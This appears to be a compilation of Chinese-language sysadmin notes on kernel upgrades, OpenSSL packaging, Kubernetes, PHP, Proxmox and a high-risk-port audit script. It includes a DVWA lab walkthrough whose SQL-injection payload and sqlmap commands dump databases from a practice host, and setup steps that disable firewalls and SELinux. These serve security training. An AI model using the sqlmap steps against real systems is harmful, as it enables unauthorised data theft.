网上绝大多数的源已经失效

  • 直接使用下面命令安装

    yum install https://mirrors.coreix.net/elrepo-archive-archive/kernel/el7/x86_64/RPMS/kernel-ml-6.6.6-1.el7.elrepo.x86_64.rpm

降级内核的时候会发生上述命令执行结果的序号和内核版本无法对应, 导致 grub2-set-default $NUM 无法切换到正确内核
一般会按照内核版本号排序, 请多次尝试

配置 GROUB

  • 查询可用内核

    awk -F\' '$1=="menuentry " {print i++ " : " $2}' /etc/grub2.cfg
    图

  • 设置为默认启动内核

    grub2-set-default 0

  • 生成 GRUB 配置文件

    grub2-mkconfig -o /boot/grub2/grub.cfg
    图
    图

环境介绍

一、 制作 OpenSSL RPM 包

1.1 安装依赖

~]# yum install rpm-build rpmlint rpmdevtools
~]# yum install -y gcc gcc-c++ make perl perl-WWW-Curl

1.2 配置 rpmbuild 工作目录

注意:
下面两个操作请不要使用 root 用户操作

创建所需目录
~]$ mkdir -p ~/rpmbuild/{BUILD,BUILDROOT,RPMS,SOURCES,SPECS,SRPMS}

  • BUILD: 用于存放编译过程中生成的文件
  • BUILDROOT:用于存放编译后的根文件系统
  • RPMS:用于存放编译后的 RPM 包
  • SOURCES:用于存放源代码包
  • SPECS:用于存放 RPM 规范文件
  • SRPMS:用于存放源 RPM 包

RPM包构建的顶层目录配置
~]$ echo "%_topdir %{getenv:HOME}/rpmbuild" > ~/.rpmmacros

  • %_topdir:RPM 构建的顶层目录宏
  • %{getenv:HOME}:获取用户主目录的环境变量
  • ~/.rpmmacros:用户 RPM 配置文件

该命令将 %_topdir 宏设置为用户主目录下的 rpmbuild 目录,并将其写入用户 RPM 配置文件~/.rpmmacros中, 其目的如下两条

  • 简化 RPM 包的构建过程
  • 无需在每个 RPM 规范文件中指定 %_topdir 宏的值

1.3 将压缩包放至 ~/rpmbuild/SOURCES目录

~]$ curl -o ~/rpmbuild/SOURCES/openssl-1.1.1w.tar.gz https://www.openssl.org/source/openssl-1.1.1w.tar.gz

1.4 编写 SPEC 文件

~]$ vim ~/rpmbuild/SPECS/openssl.spec

name:       openssl     
Version: 1.1.1w
Release: 1%{?dist}
Summary: Utilities from the general purpose cryptography library with TLS implementation
Group: System Environment/Libraries
License: GPLv2+
URL: https://www.openssl.org/
Source0: https://www.openssl.org/source/%{name}-%{version}.tar.gz
BuildRequires: make gcc perl perl-WWW-Curl
Requires: %{name} = %{version}-%{release}
BuildRoot: %_topdir/BUILDROOT

%global openssldir /usr/openssl

%description
The OpenSSL toolkit provides support for secure communications between
machines.

%package devel
Summary: Secure Sockets Layer and cryptography static libraries and headers
Group: Development/Libraries
Requires: %{name} = %{version}-%{release}
%description devel
The OpenSSL devel tool

%prep
%setup -q

%build
./config --prefix=%{openssldir} --openssldir=%{openssldir}
make %{?_smp_mflags}

%install
[ "%{buildroot}" != "/" ] && %{__rm} -rf %{buildroot}
%make_install
mkdir -p %{buildroot}%{_bindir}
mkdir -p %{buildroot}%{_libdir}
ln -sf %{openssldir}/lib/libssl.so.1.1 %{buildroot}%{_libdir}
ln -sf %{openssldir}/lib/libcrypto.so.1.1 %{buildroot}%{_libdir}
ln -sf %{openssldir}/bin/openssl %{buildroot}%{_bindir}

%clean
[ "%{buildroot}" != "/" ] && %{__rm} -rf %{buildroot}

%files
%{openssldir}
%defattr(-,root,root)
%{_bindir}/openssl
%{_libdir}/libcrypto.so.1.1
%{_libdir}/libssl.so.1.1


%files devel
%{openssldir}/include/*
%defattr(-,root,root)


%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%changelog
* Fri Mar 08 2024 wanghuaizhuang <[email protected]>
- Build for CentOS7.9

代码附件

openssl-1.1.1w.spec

1.5 验证 SPEC 文件

没有 error 即可
~]$ rpmlint ~/rpmbuild/SPECS/openssl.spec

1.6 构建

~] $ rpmbuild -D "version 1.1.1w" -ba ~/rpmbuild/SPECS/openssl.spec

参数解释:

  • ba 构建源代码rpm包和二进制rpm包
  • bb 只构建二进制rpm包
  • bs 只构建源代码rpm包
  • bp 执行至%prep阶段(解压源并应用补丁)
  • bc 执行至%build阶段(%prep,然后编译)
  • bi 执行至%install阶段(%prep,%build,然后安装)
  • bl 验证%files部分,查看文件是否存在

图

查看构建完成的rpm包

[dev@pve-centos7 ~]$ tree ~/rpmbuild/RPMS/
/home/dev/rpmbuild/RPMS/
└── x86_64
├── openssl-1.1.1w-1.el7.x86_64.rpm
├── openssl-debuginfo-1.1.1w-1.el7.x86_64.rpm
└── openssl-devel-1.1.1w-1.el7.x86_64.rpm

1 directory, 3 files
[dev@pve-centos7 ~]$

1.7 使用上述生成的rpm包更新本地openssl

卸载和安装都要指定 --nodeps
这里让我郁闷 (>_<) , 指定了 requires, 然后安装的时候 --nodeps

[root@pve-centos7 ~]# 
[root@pve-centos7 ~]# rpm -aq | grep openssl
openssl-1.0.2k-26.el7_9.x86_64
openssl-libs-1.0.2k-26.el7_9.x86_64
openssl-devel-1.0.2k-26.el7_9.x86_64
[root@pve-centos7 ~]# rpm -e openssl-1.0.2k-26.el7_9.x86_64 --nodeps
[root@pve-centos7 ~]#
[root@pve-centos7 ~]# rpm -ivh /home/dev/rpmbuild/RPMS/x86_64/openssl-1.1.1w-1.el7.x86_64.rpm --nodeps
Preparing... ################################# [100%]
Updating / installing...
1:openssl-1.1.1w-1.el7 ################################# [100%]
[root@pve-centos7 ~]#
[root@pve-centos7 ~]# openssl version
OpenSSL 1.1.1w 11 Sep 2023
[root@pve-centos7 ~]#

一些说明

上述 SPEC文件只构建了 opensslopenssl-developenssl-debuginfo三个包, 而且 更新之后 man openssl 会提示找不到手册
对比网上其他的SPEC文件少了很多内容, 后续会继续补充

下面是某个openssl的SPEC文件
图

二、 更新 OpenSSL

  • 卸载旧版本openssl
    rpm -e openssl --nodeps
  • 安装新版openssl
    rpm -ivh openss-1.1.1w-1.el7.rpm

零、 环境介绍

  • kubernetes v 1.2.0
主机 ip 系统 kernel 配置 角色
k8s-master 192.168.100.250 CentOS 7.9 Linux 5.4.210-1.el7.elrepo.x86_64 2c4g 40GB Master
k8s-node1 192.168.100.251 CentOS 7.9 Linux 5.4.210-1.el7.elrepo.x86_64 2c4g 40GB Work
k8s-node2 192.168.100.252 CentOS 7.9 Linux 5.4.210-1.el7.elrepo.x86_64 2c4g 40GB Work

一、 基础环境配置

  • 一台或多台服务器
  • 内存4GB或更多,CPU2核或更多,硬盘30GB或更多
  • 所有机器之间网络互通
  • 可以访问外网,需要拉取镜像
  • 禁止swap分区

1.0 修改源

  • 三台服务器都需配置
    sed -i.bak \
    -e 's|^mirrorlist=|#mirrorlist=|g' \
    -e 's|^#baseurl=http://mirror.centos.org/centos|baseurl=https://mirrors.ustc.edu.cn/centos-vault/centos|g' \
    /etc/yum.repos.d/CentOS-Base.repo

1.1 禁止 SWAP 分区

  • 三台服务器都需配置
    swapoff -a
    sed -ri 's/.*swap.*/#&/' /etc/fstab

1.2 关闭防火墙

  • 三台服务器都需配置
    systemctl stop firewalld iptables
    systemctl disable firewalld iptables

1.3 关闭 SeLinux

  • 三台服务器都需配置
    setenforce 0
    sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config

1.4 配置主机名

  • 三台服务器都需要配置

    主机 ip
    k8s-master 192.168.100.210
    k8s-node1 192.168.100.220
    k8s-node2 192.168.100.230

    hostnamectl set-hostname k8s-master

    cat >> /etc/hosts << EOF
    192.168.100.210 k8s-master
    192.168.100.220 k8s-node1
    192.168.100.230 k8s-node2
    EOF

1.5 配置时间同步

  • 三台服务器都需配置
    cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
    systemctl enable chronyd --now

1.6 配置 ipvs 负载均衡

  • 三台服务器都需配置

  • 安装软件包
    yum install ipset ipvsadm conntrack

  • 配置 ip_vs

    cat > /etc/sysconfig/modules/ipvs.modules <<EOF
    # /bin/bash
    modprobe ip_vs
    modprobe ip_vs_rr
    modprobe ip_vs_wrr
    modprobe ip_vs_sh
    modprobe nf_conntrack
    EOF

    chmod 755 /etc/sysconfig/modules/ipvs.modules
  • 重新加载内核
    systemctl restart systemd-modules-load.service

  • 验证模块加载

    [root@k8s-master]# lsmod | grep ip_vs
    ip_vs_sh 16384 0
    ip_vs_wrr 16384 0
    ip_vs_rr 16384 0
    ip_vs 233472 6 ip_vs_rr,ip_vs_sh,ip_vs_wrr
    nf_conntrack 212992 3 nf_nat,nft_ct,ip_vs
    nf_defrag_ipv6 24576 2 nf_conntrack,ip_vs
    libcrc32c 16384 5 nf_conntrack,nf_nat,nf_tables,xfs,ip_vs

1.7 开启网络转发和桥接

  • 三台服务器都需配置

    cat >> /etc/sysctl.d/k8s.conf << EOF
    net.ipv4.ip_forward = 1
    net.bridge.bridge-nf-call-iptables = 1
    net.bridge.bridge-nf-call-ip6tables = 1
    vm.swappiness = 0
    EOF

    sysctl --system

  • 验证配置

    sysctl net.bridge.bridge-nf-call-iptables net.bridge.bridge-nf-call-ip6tables net.ipv4.ip_forward vm.swappiness
    [root@k8s-master ~]# sysctl net.bridge.bridge-nf-call-iptables net.bridge.bridge-nf-call-ip6tables net.ipv4.ip_forward vm.swappiness
    net.bridge.bridge-nf-call-iptables = 1
    net.bridge.bridge-nf-call-ip6tables = 1
    net.ipv4.ip_forward = 1
    vm.swappiness = 0
    [root@k8s-master ~]#

1.8 加载 br_netfilter 内核参数

  • 三台服务器都需配置

    有时候会碰到网桥转发参数设置失败

  • 设置开机自动加载

    cat >> /etc/sysconfig/modules/br_netfilter.modules << EOF
    #!/bin/bash
    modprobe br_netfilter
    modprobe overlay
    modprobe nf_conntrack

    chmod 755 /etc/sysconfig/modules/br_netfilter.modules
  • 加载内核
    systemctl restart systemd-modules-load.service

  • 验证

    [root@k8s-master ~]# lsmod | grep br
    br_netfilter 22256 0

二、 Containerd 部署

三台服务器都需要部署

  • 遵循 FHS 规范解压到 /usr/local/bin
  • Containerd 版本: v2.0.2

2.1 下载并安装

  • 下载地址: https://github.com/containerd/containerd/releases
    tar xzvf containerd-2.0.2-linux-amd64.tar.gz --strip-components=1 -C /usr/local/bin
    mkdir -p /etc/containerd
    /usr/local/bin/containerd config default > /etc/containerd/config.toml
    sed -i 's/SystemdCgroup = false/SystemdCgroup = true/g' /etc/containerd/config.toml

2.3 使用systemd管理

  • 创建文件: vim /usr/lib/systemd/system/containerd.service
    [Unit]
    Description=containerd container runtime
    Documentation=https://containerd.io
    After=network.target local-fs.target
    [Service]
    ExecStartPre=-/sbin/modprobe overlay
    ExecStart=/usr/local/bin/containerd
    Type=notify
    Delegate=yes
    KillMode=process
    Restart=always
    RestartSec=5
    LimitNPROC=infinity
    LimitCORE=infinity
    TasksMax=infinity
    OOMScoreAdjust=-999
    [Install]
    WantedBy=multi-user.target
    systemctl daemon-reload
    systemctl enable containerd --now

2.5 可能遇到的问题

问题: containerd.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
解决: rm -rf /var/lib/containerd

三、 Crictl 和 Runc 部署

三台服务器都需要部署

  • Crictl 版本: v1.32.0
    https://github.com/kubernetes-sigs/cri-tools/releases

  • Runc 版本: v1.2.5
    https://github.com/opencontainers/runc/releases

  • 部署
    tar -xzvf crictl-v1.32.0-linux-amd64.tar.gz -C /usr/local/bin/
    chmod +x runc.amd64
    mv runc.amd64 /usr/local/bin/runc

  • 验证Crictl 和 Runc 版本

    [root@k8s-node2 bin]# ll /usr/local/bin/
    total 154912
    -rwxr-xr-x 1 root root 55969576 Jan 14 13:32 containerd
    -rwxr-xr-x 1 root root 7725208 Jan 14 13:32 containerd-shim-runc-v2
    -rwxr-xr-x 1 root root 21467457 Jan 14 13:32 containerd-stress
    -rwxr-xr-x 1 1001 127 40076447 Dec 9 17:09 crictl
    -rwxr-xr-x 1 root root 22200641 Jan 14 13:32 ctr
    -rwxr-xr-x 1 root root 11172320 Feb 25 04:07 runc
    [root@k8s-node2 bin]#
    [root@k8s-node2 bin]# crictl --version
    crictl version v1.32.0
    [root@k8s-node2 bin]#
    [root@k8s-node2 bin]# runc --version
    runc version 1.2.5
    commit: v1.2.5-0-g59923ef1
    spec: 1.2.0
    go: go1.22.12
    libseccomp: 2.5.5
    [root@k8s-node2 bin]#

四、 kubeadm kubectl kubelet 部署

三台服务器都需部署

  • 添加阿里源

    [kubernetes]
    name=Kubernetes
    baseurl=https://mirrors.aliyun.com/kubernetes-new/core/stable/v1.28/rpm/
    enabled=1
    gpgcheck=1
    gpgkey=https://mirrors.aliyun.com/kubernetes-new/core/stable/v1.28/rpm/repodata/repomd.xml.key
  • 安装指定版本 v1.28.15

    yum install kubectl-1.28.15 kubeadm-1.28.15 kubelet-1.28.15 --nogpgcheck

  • 配置 kubelet 参数

    echo "KUBELET_EXTRA_ARGS=\"--cgroup-driver=systemd\"" > /etc/sysconfig/kubelet

  • 配置 kubelet 自启

    systemctl enable kubelet --now

五、 Master 节点初始化

仅在Master节点配置

  • 获取镜像

    kubeadm config images list
    图

  • 下载镜像, 有需要可以更换源下载

    kubeadm config images pull

  • 初始化 Master

    kubeadm init \
    --apiserver-advertise-address=192.168.100.250 \
    --control-plane-endpoint=k8s-master \
    --image-repository registry.k8s.io \
    --kubernetes-version v1.28.15 \
    --service-cidr=10.244.0.0/16 \
    --pod-network-cidr=192.168.0.0/16 \
  • 看到如下界面表示初始化成功
    图

  • 检查各容器是否正常
    crictl ps -a
    图

  • 配置参数
    mkdir -p $HOME/.kube
    cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
    chown $(id -u):$(id -g) $HOME/.kube/config
    echo "export KUBECONFIG=/etc/kubernetes/admin.conf" >> /etc/profile

  • 最终检查

    Nodes 的状态是 NotReady, 这点我们后面在解决
    图

六、 Node 节点加入 Master

在两台 node 节点上执行

  • 根据Master初始化成功的信息中, 直接复制加入命令, 注意没有 --control-plane

    kubeadm join k8s-master:6443 --token tpb7dk.73uvwnycqhjo9bl9 \
    --discovery-token-ca-cert-hash sha256:5f8366652dedb0c8a1dbd97a5992321fe4e9a2ee059c14de64f053360c5e9065
  • 验证node节点的加入
    在 Node 节点执行
    图

  • 在 Master 节点执行
    kubectl get nodes
    图

初始化 master 的时候生成了 token, 有效期24小时, 如果忘记了初始 token, 可以使用以下方法重新获取

  • 输出当前 token
    kubeadm token list

  • 重新生成 token
    kubeadm token create --print-join-command

  • 获取集群根证书的哈希值

    openssl x509 -pubkey -in /etc/kubernetes/pki/ca.crt | \
    openssl rsa -pubin -outform der 2>/dev/null | \
    openssl dgst -sha256 -hex | \
    sed 's/^.* //'

七、 Calico 网络插件部署

仅在 Master 节点配置

注意到 kubectl get nodes 的执行结果中, STATUS 状态都是 NotRead

  • 创建资源 Tigera Operator
    kubectl create -f https://raw.githubusercontent.com/projectcalico/calico/v3.29.2/manifests/tigera-operator.yaml
    图

  • 下载配置文件, 修改 CIDRPOD 的网段 10.244.0.0/16
    wget https://raw.githubusercontent.com/projectcalico/calico/v3.29.2/manifests/custom-resources.yaml
    图

  • 创建 Calico 自定义资源, 注意 Ready 的状态
    kubectl create -f custom-resources.yaml
    watch kubectl get pods -n calico-system
    图

  • 查看pods详细信息
    kubectl get pods -n kube-system -o wide
    图

  • 测试域名解析
    kubectl get svc -n kube-system
    dig baidu.com @10.96.0.10
    图

八、 应用部署测试

使用 nginx 测试部署

  • 配置文件如下

    ---
    apiVersion: v1
    kind: Service
    metadata:
    name: nginx
    labels:
    app: nginx
    spec:
    ports:
    - port: 80
    name: web
    selector:
    app: nginx
    ---
    apiVersion: apps/v1
    kind: Deployment
    metadata:
    name: web
    spec:
    selector:
    matchLabels:
    app: nginx
    replicas: 1
    template:
    metadata:
    labels:
    app: nginx
    spec:
    containers:
    - name: nginx
    image: nginx:latest
    ports:
    - containerPort: 80
    name: web
  • 构建应用
    kubectl apply -f nginx.yaml

  • 服务地址
    kubectl get pods -o wide
    kubectl get service
    图

  • 访问测试
    图

一、 异常说明

某生产服务器 10.21.196.96 运行一个redis(容器), 存在高危漏洞, 历史遗留问题, 无法升级redis, 只能通过防火墙去限制redis端口的流量

无论怎么配置firewall, 对redis的6379端口就是不生效

二、 详情

2.1 猜测是因为容器的原因

添加容器相关接口:
firewall-cmd --zone=public --add-interface=docker0 --permanent
图
图

2.2 firewalld 添加接口报错

ERROR: '/usr/sbin/iptables-restore -w -n' failed: iptables-restore v1.8.5 (legacy): interface name `vethd6d63cd@if18' must be shorter than IFNAMSIZ (15)
图

添加接口的时候, 注意接口名称, ip link showifconfig 输出不一样

添加名称 vethd6d63cd@if18 这样的接口, 导致firewalld奔溃.

编辑配置文件: /etc/firewalld/zones/public.xml 删除<interface /> 重启 firewalld 即可

2.3 猜测 ipv6 的原因

同是ipv6, 2375端口就可以被firewalld控制, 6379不可以, 排除该选项!
图

2.4 关闭docker的iptables选项

编辑文件: /etc/docker/daemon.json

添加配置:

{
"iptables": false
}

重启docker后, firewall 可以正常控制端口流量.

三、 原因分析

下载了docker配置 "iptables": false 前后 iptables -nL 的输出

然而并没有什么不同.

一、 环境说明

靶机: 192.168.1.201 (DVWA 容器)
攻击: 192.168.1.15 (kali)
Security: Low

二、 SQL Injection

2.1 源码分析

  <?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

输入用户id, 参数传入之后没有任何过滤, 拼接成sql语句使用mysqli-query函数查询
测试 ' and 1=2, 根据 response 判断存在 字符串类型注入
图

这里使用Burp Suite
图

2.3 使用sqlmap对url进行检测

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low"

图

存在以下可以注入的类型:
UNION query SQL injection(可联合查询注入)
Boolean-based blind SQL injection(布尔型注入)
Error-based SQL injection(报错型注入)
Time-based blind SQL injection(基于时间延迟注入)

枚举出 DBMS 所有数据库

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low" \
-- dbs

图

枚举出 DBMS 数据库中的所有表

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low" \
-D dvwa --tables

图

枚举出 DBMS 表中的所有列

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low" \
-D dvwa -T --columns

图

枚举所有数据

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low" \
-D dvwa -T --columns -a

图

一、 介绍

Damn Vulnerable Web Application (DVWA)(译注:可以直译为:”该死的”不安全Web应用程序),是一个编码差的、易受攻击的 PHP/MySQL Web应用程序。
它的主要目的是帮助信息安全专业人员在合法的环境中,练习技能和测试工具,帮助 Web 开发人员更好地了解如何加强 Web 应用程序的安全性,并帮助学生和教师在可控的教学环境中了解和学习 Web 安全技术。

DVWA的目的是通过简单明了的界面来练习一些最常见的 Web 漏洞,所练习的漏洞具有不同的难度级别。 请注意,此软件存在提示和无提示的漏洞。 这是特意为止。 我们鼓励您依靠自己的能力尝试并发现尽可能多的安全问题。

二、 部署

2.1 下载

https://github.com/digininja/DVWA

2.2 依赖安装

yum install httpd mariadb-server mariadb-client php php-mysqli php-gd

2.3 数据库配置 (mariadb)

create database dvwa;
create user dvwa@localhost identified by 'p@ssw0rd';
grant all on dvwa.* to dvwa@localhost;
flush privileges;

2.4 dvwa 配置

配置文件: config.ini.php

修改配置如下:

$_DVWA[ 'db_server'] = '127.0.0.1';
$_DVWA[ 'db_port'] = '3306';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'p@ssw0rd';
$_DVWA[ 'db_database' ] = 'dvwa';

2.5 httpd 配置

将dvwa 解压后放至 /var/www/html 目录, 注意权限问题

三、 DVWA 配置

3.1 php 模块配置

可以看到有几个 Disabled 状态的模块

PHP function display_errors: Disabled
PHP function display_startup_errors: Disabled
PHP function allow_url_include: Disabled

修改 /etc/php.ini
找到对应的配置修改配置 On 即可

图

3.2 配置数据

点击下面的 create/Reset Database 按钮后, 重新登录 dvwa 即可
图

四、 常见问题

4.1 httpd 403 forbident

关闭 selinux: setenforce 0

4.2 DVWA system error

注意配置文件的路径和名称
路径: ./config 目录下
名称: config.inc.php

五、 docker 部署

5.1 获取镜像

docker pull vulnerables/web-dvwa

5.2 启动容器

docker run -d --rm -p 80:80 vulnerables/web-dvwa:latest

5.3 allow_url_include 配置

路径: 容器:/etc/php/7.0/apache2/php.ini
使用docker cp 将文件复制出来, 修改完文件后, 复制进容器内替换文件, 然后重启容器.

一、 编译安装php8.3

  • 依赖
    yum -y install php-mcrypt libmcrypt-devel libxml2 libxml2-devel openssl openssl-devel curl-devel libjpeg-devel libpng-devel freetype-devel libmcrypt-devel libmemcached oniguruma-devel

  • 下载
    https://www.php.net/downloads.php

  • 解压
    tar -zxvf php-8.3.2.tar.gz

  • 生成配置
    ./buildconf

  • 编译选项

    ./configure  --enable-debug  --prefix=/usr/local/php-8.3.2 \
    --with-config-file-path=/usr/local/php-8.3.2/etc \
    --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd \
    --with-mysql-sock=/usr/local/mysql-5.7.44-el7-x86_64/mysql.sock \
    --enable-mysqlnd --with-iconv --enable-bcmath --enable-shmop --enable-sysvsem \
    --enable-mbregex --enable-fpm --enable-mbstring --enable-ftp --with-openssl \
    --enable-pcntl --enable-sockets --enable-soap --with-gettext \
    --with-curl

    注意参数: --with-mysql-sock=/usr/local/mysql-5.7.44-el7-x86_64/mysql.sock

  • 编译安装
    make -j4 && make test -j4 && make install

二、 配置PHP

2.1 php 配置文件

从源码里复制一份到安装目录
cp {path_2_your_php_source}/php.ini-development /usr/local/php/etc/php.ini

2.2 php-fpm 配置文件

cd /usr/local/php/etc/php-fpm.d/ && cp www.conf.default www.conf
cd /usr/local/php/etc && cp php-fpm.conf.default php-fpm.conf

2.3 修改 php-fpm 配置

文件: /usr/local/php/etc/php-fpm.conf
配置: pid = run/php-fpm.pid

2.4 修改 www.conf 配置

文件: /usr/local/php/etc/php-fpm.d/www.conf
配置: listen = 127.0.0.1:9000 (与nginx中的配置保持一致)

三、 配置 systemd

vim php-fpm.service

[Unit]
Description=The PHP FastCGI Process Manager
After=syslog.target network.target

[Service]
Type=simple
PIDFile=/usr/local/php/var/run/php-fpm.pid
ExecStart=/usr/local/php/sbin/php-fpm --nodaemonize --fpm-config /usr/local/php/etc/php-fpm.conf
ExecReload=/bin/kill -USR2 $MAINPID
ExecStop=/bin/kill -SIGINT $MAINPID

[Install]
WantedBy=multi-user.target

systemctl daemon-reload && systemctl enable php-fpm --now

3.1 Nginx 配置

vim php.conf

server {
listen 4433 default_server;
listen [::]:4433 default_server;
server_name 192.168.1.201;
root /var/www/;

location / {
index index.php index.html index.htm;
}

error_page 404 /404.html;
location = /40x.html {
}

error_page 500 502 503 504 /50x.html;
location = /50x.html {
}

location ~ \.php$ {
fastcgi_pass 127.0.0.1:19000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}

3.2 php_info

vim /var/www/index.php

<?php
phpinfo();

3.3 验证

图

initramfs 介绍

initramfs 全称为”initial RAM file system”,是一个临时的根文件系统,用于在 Linux 启动过程中初始化和加载真正的根文件系统之前提供必要的工具和驱动程序。它通常被用于启动过程中加载必要的驱动程序或工具,以便在切换到真正的根文件系统之前进行必要的准备工作。

Ubuntu 启动没有正常进入系统, 却进入了 initramfs 通常是因为某种问题阻止了正常启动, 可能原因如下:

  • 文件系统损坏
  • 硬件问题
  • 驱动程序问题
  • 引导程序配置错误

解决

根据上文的提示:

failure File system check of ro ot filesystem failed
The root filesystem on /dev/mapper/ubuntu–vg-ubuntu–lv requires a manual fsck

执行手动修复:
fsck /dev/mapper/ubuntu--vg-ubuntu--lv -y

initramfs下重启系统:
exit

图

环境

pve(master): 192.168.1.200

pve(vm-centos): 192.168.1.201
pve(vm-Ubuntu): 192.168.1.109
pve(vm-windows7): 192.168.1.61

一、 起因

pve-matser 上执行了 apt dist-upgrade

提示我: You are attempting to remove the meta-package 'proxmox-ve'!

图

想都没想按照提示执行了, 结果pve控制台就没了. qm等相关命令也没了.

二、 解决

思路: 根据日志提示和lsblk相关的输出, 判断只是删除了相关的pev包, 源数据还在, 安装相关的pve包回去即可

按照日志和apt log 提示, 找到了被删除的包

2.1 添加源

echo "deb [arch=amd64] http://download.proxmox.com/debian/pve buster pve-no-subscription" > /etc/apt/sources.list.d/pve-install-repo.list

2.2 添加 gpg key

wget http://download.proxmox.com/debian/proxmox-ve-release-6.x.gpg -O /etc/apt/trusted.gpg.d/proxmox-ve-release-6.x.gpg

chmod +r /etc/apt/trusted.gpg.d/proxmox-ve-release-6.x.gpg

2.3 安装 Proxmox VE 包

apt install proxmox-ve postfix open-iscsi

2.4 相关报错 pve-container : Depends: binutils but it is not installable

我是原生安装的pve, 不是从debian过来的, 所以缺少相关的包. 添加debian的源到source.list之后update即可

2.4 相关日志

/var/log/syslog

2.5 IO errors

一般是磁盘满了, 清理下磁盘

仅限 tcp 端口

一、 Windows/Winserver

:: @author  wanghuaizhuang
:: @date 2024-2-29
:: @version V1.0

:: get the high risk ports on windows/winserver
:: usage: right-click and run this script as administrator

@echo off
setlocal enabledelayedexpansion

:: set high risk ports
set "ports=21 22 23 25 53 69 110 111 135 139 143 161 389 445 873 1025 1099 1433 1521 2049 2181 2222 2375 2379 2888 3128 3306 3389 3690 3888 4000 4040 4440 4848 4899 5000 5005 5432 5601 5631 5632 5900 5984 6123 6379 7001 7051 7077 7180 7182 7848 8019 8020 8042 8048 8051 8069 8080 8081 8083 8086 8088 8161 8443 8649 8848 8880 8888 9000 9001 9042 9043 9083 9092 9100 9200 9300 9990 10000 11000 11111 11211 18080 19888 20880 25000 25010 27017 27018 28017 50030 50060 50070 50090 60000 60010 60030"

for %%p in (%ports%) do (
netstat -ano | findstr LISTEN | findstr /c:":%%p " >nul
if errorlevel 1 (
echo High Risk Port %%p is not listening. > nul
) else (
echo High Risk Port %%p is listening
set count=0
for /f "tokens=5" %%a in ('netstat -aon ^| findstr ":%%p " ^| findstr "LISTENING"') do (
if !count! equ 0 (
wmic process where processid="%%a" get processid, executablepath
set /a count+=1
)
)
echo "------------------------------------------------------------------"

)
)
pause



参数说明:

  • /c: 完全匹配
  • ":%%p " –> ":139 " (注意空格)避免较长端口号中间包含139
  • errorlevel 1 判断命令执行的返回
  • bat同级目录输出文件

二、 Linux

## get high risk ports on Linux

## @author wanghuaizhuang
## @date 2024-4-8
## @version V2.0

#! /bin/bash

# high-risk ports
valid_ports="21 22 23 25 53 69 110 111 135 139 143 161 389 445 873 1025 1099 1433 1521 2049 2181 2222 2375 2379 2888
3128 3306 3389 3690 3888 4000 4040 4440 4848 4899 5000 5005 5432 5601 5631 5632 5900 5984 6123 6379 7001 7051 7077 7180 7182 7848 8019 8020 8042 8048 8051 8069 8080 8081 8083 8086 8088 8161
8443 8649 8848 8880 8888 9000 9001 9042 9043 9083 9092 9100 9200 9300 9990 10000 11000 11111 11211 18080 19888 20880 25000 25010 27017 27018 28017 50030 50060 50070 50090 60000 60010 60030
"

# get listening ports
ports=$(ss -tuln | awk 'NR>1 {print $5}' | awk -F '[:]' '{print $NF}' | awk '!seen[$0]++')


# iterate through ports
for port in $ports; do
# check whether the port is a high-risk port
if echo "$valid_ports" | grep -q "\<$port\>"; then
# print on terminal and save to file
echo -e 高危端口: "\e[31m$port\e[0m"

pid=$(lsof -i:$port | awk 'NR>1 {print $2}' | head -n 1)
path=$(ps $pid | awk 'NR==2 {print $5}')

echo -e 进程ID: "\e[31m$pid\e[0m"
echo -e 二进制文件: "\e[31m$path\e[0m"
echo -e "----------------\n"
echo "$port" >> output.txt
fi
done
0%